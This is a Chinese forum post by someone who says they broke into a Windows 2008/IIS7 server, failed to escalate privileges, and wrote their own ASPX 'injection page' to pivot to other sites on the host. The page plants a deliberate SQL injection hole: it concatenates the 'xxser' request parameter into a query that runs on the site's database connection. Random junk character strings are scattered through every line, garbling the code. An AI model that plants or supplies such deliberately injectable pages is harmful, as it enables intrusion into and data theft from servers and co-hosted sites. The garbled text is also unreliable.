昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。0 a. u% T6 {8 z; T8 i
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。& N' e% ?8 N; B2 g" o4 C3 v: f1 e
代码量不多,自己写个拉倒了。烦死了。3 L: G% w' Z, w9 j5 B7 ?
5 ]$ `1 T- v7 }8 D- a: p+ l
1 r4 Q, @1 D( e! H<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">9 R* e! e l0 C1 x) q. j5 Q
<html xmlns="http://www.w3.org/1999/xhtml">5 k/ w |5 ~; K' U, Q
<head runat="server">; f* i0 ]3 d1 `
<title>暗影aspx构造注射专用页面</title>
2 r+ e P+ W9 i( ^</head>
/ n2 v) h3 ]- F1 @- b* s/ @5 m<body>
$ ^/ H9 N- ~3 l3 }0 g3 X5 b <form id="form1" runat="server">$ u% X7 y+ b+ w% {+ |7 g0 G
<div>
1 a% Y- n: u( } <script language="c#" runat="server">& q4 |# K8 U) Y; q4 I0 b
2 i+ g4 y# B' Q. @+ Q1 ^' a void page_init(object sender, EventArgs e)0 ~$ a" l' E4 M' I
{% s- h9 E- W" d/ i" S* D+ ^' q
" i! G$ i5 M) y- A5 X System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();& d0 s) {( P; e i2 j
9 {" v- ~$ q% S5 T7 \& f, l x
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();: ]" i; V6 @8 Z5 b. j' m
conn.Open();* K# q% T# h9 C+ m9 t0 E/ A& P
' o' c* _( {% n2 H string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
+ T% k1 Y6 u. s2 s: I3 K! N. u
5 R# ^' z: o, k System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);7 Q1 f$ I' L( W2 q4 `0 g- T2 y
int x = command.ExecuteNonQuery();. b* l. c7 Z8 Z( p$ y% Y% l2 r
Response.Write(i+"\n");! q0 f! o$ m6 T( y+ _
Response.Write(x);8 [0 Z; z/ y2 \3 h
conn.Close();
4 Y7 u. R, F* k7 N }
7 Y4 E& X2 d! L+ u: f% S0 [5 ~ l' V 1 G4 e' Z$ J' i4 T& r
</script>& ^( q/ V/ b0 V: m
</div>
5 @3 _9 A$ G# W- b+ V) c" ^ </form>8 \, Z- W- E# y$ K) C* ^, q
</body>! O. j/ t# ~7 L; ~
</html>
0 P8 n- d! f" V0 I |